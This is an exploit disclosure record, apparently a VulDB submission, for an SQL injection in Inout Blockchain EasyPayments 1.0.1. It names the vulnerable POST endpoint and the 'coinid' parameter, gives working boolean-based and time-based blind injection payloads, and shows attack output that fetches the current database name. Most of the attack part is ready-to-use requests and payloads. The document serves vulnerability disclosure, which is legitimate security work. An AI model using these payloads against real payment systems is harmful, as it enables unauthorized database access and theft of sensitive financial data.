| Title | Inout Blockchain EasyPayments 1.0.1 - SQL Injection |
|---|
| Description | # Exploit Title: Inout Blockchain EasyPayments 1.0.1 - SQL Injection
# Date: 06/07/2023
# Exploit Author: skalvin aka (CraCkEr)
# Vendor: Inout Scripts
# Vendor Homepage: https://www.inoutscripts.com/
# Software Link: https://www.inoutscripts.com/products/inout-blockchain-easypayments/
# Version: 1.0.1
# Tested on: Windows 10 Pro
# Impact: Database Access
Release Notes:
SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.
Path: /index.php/payment/getcoinaddress
----------------------------------------------------------------------------
POST /index.php/payment/getcoinaddress HTTP/2
coinid=[SQLI]&paymentprofileid=3&paymentsessionid=3161&amountexpected=0.00000000
----------------------------------------------------------------------------
POST parameter 'coinid' is vulnerable to SQL Injection
---
Parameter: coinid (POST)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace
Payload: coinid=(SELECT (CASE WHEN (08758=8758) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))&paymentprofileid=3&paymentsessionid=3161&amountexpected=0.00000000
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: coinid=(SELECT(0)FROM(SELECT(SLEEP(5)))a)&paymentprofileid=3&paymentsessionid=3161&amountexpected=0.00000000
---
[+] Starting the Attack
fetching current database
current database: '*****_blockchain_easypayments_**'
[-] Done |
|---|
| User | skalvin (UID 49463) |
|---|
| Submission | 07/06/2023 20:06 (3 years ago) |
|---|
| Moderation | 07/15/2023 18:10 (9 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 234228 [Nesote Inout Blockchain EasyPayments 1.0 POST Parameter getcoinaddress coinid sql injection] |
|---|
| Points | 17 |
|---|